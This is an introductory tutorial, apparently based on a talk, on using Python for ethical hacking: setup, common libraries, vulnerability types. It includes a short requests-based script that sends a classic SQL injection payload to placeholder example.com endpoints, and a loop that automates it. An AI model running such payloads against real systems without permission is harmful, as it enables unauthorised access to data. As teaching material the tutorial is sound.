Czy Pythonem można hackować wszystko? - Mateusz Lewczak

Introduction

This tutorial explores how to use Python for ethical hacking. Participants will learn how to automate the exploitation of vulnerabilities, become familiar with essential libraries used in hacking, and see a practical example of an exploit developed during a real attack scenario.

Step 1: Setting Up Your Environment

To start hacking with Python, you need to set up your development environment.

• Install Python:
  • Download from the official Python website and follow the installation instructions.
• Install a code editor:
  • Use editors like Visual Studio Code or PyCharm for an optimal coding experience.
• Set up a virtual environment:
  • Run the following commands in your terminal:

    python -m venv myenv
    source myenv/bin/activate  # On Windows use: myenv\Scripts\activate
    

Step 2: Familiarizing Yourself with Key Libraries

Python has several libraries that are essential for hacking tasks. Here are some key ones:

• Requests: For making HTTP requests.
  • Install using:

    pip install requests
    

• BeautifulSoup: For scraping web data.
  • Install using:

    pip install beautifulsoup4
    

• Scapy: For network packet manipulation.
  • Install using:

    pip install scapy
    

• Paramiko: For SSH connections.
  • Install using:

    pip install paramiko
    

Step 3: Understanding Vulnerabilities

Learn about common types of vulnerabilities that can be exploited:

• SQL Injection
• Cross-Site Scripting (XSS)
• Command Injection
• Buffer Overflows

Understanding these vulnerabilities will help you know where to focus your efforts when developing exploits.

Step 4: Writing an Exploit

You will create a basic exploit as a practical application of your learning. Here’s a simplified example of an exploit for a SQL injection vulnerability:

1. Identify the Vulnerability: Look for input fields in web applications that don't sanitize user input.
2. Craft the Exploit:

   import requests
   
   url = "http://example.com/vulnerable_endpoint"
   payload = "' OR '1'='1"
   response = requests.get(url + "?id=" + payload)
   
   if "Welcome" in response.text:
       print("Exploit successful!")
   else:
       print("Exploit failed.")
   

3. Test Your Exploit: Run the script and check the response.

Step 5: Automating Exploitation

To automate the exploitation process, you can create a script that tests multiple endpoints or payloads.

• Loop through a list of URLs or payloads:

  endpoints = ["http://example.com/vuln1", "http://example.com/vuln2"]
  for endpoint in endpoints:
      response = requests.get(endpoint + "?id=" + payload)
      print(f"Testing {endpoint}: {response.status_code}")
  

Conclusion

In this tutorial, you learned how to set up your Python environment for ethical hacking, familiarize yourself with key libraries and vulnerabilities, and write and automate a basic exploit. As you progress, consider expanding your skills by exploring more complex vulnerabilities and advanced exploitation techniques. Always remember to practice ethical hacking responsibly and legally.
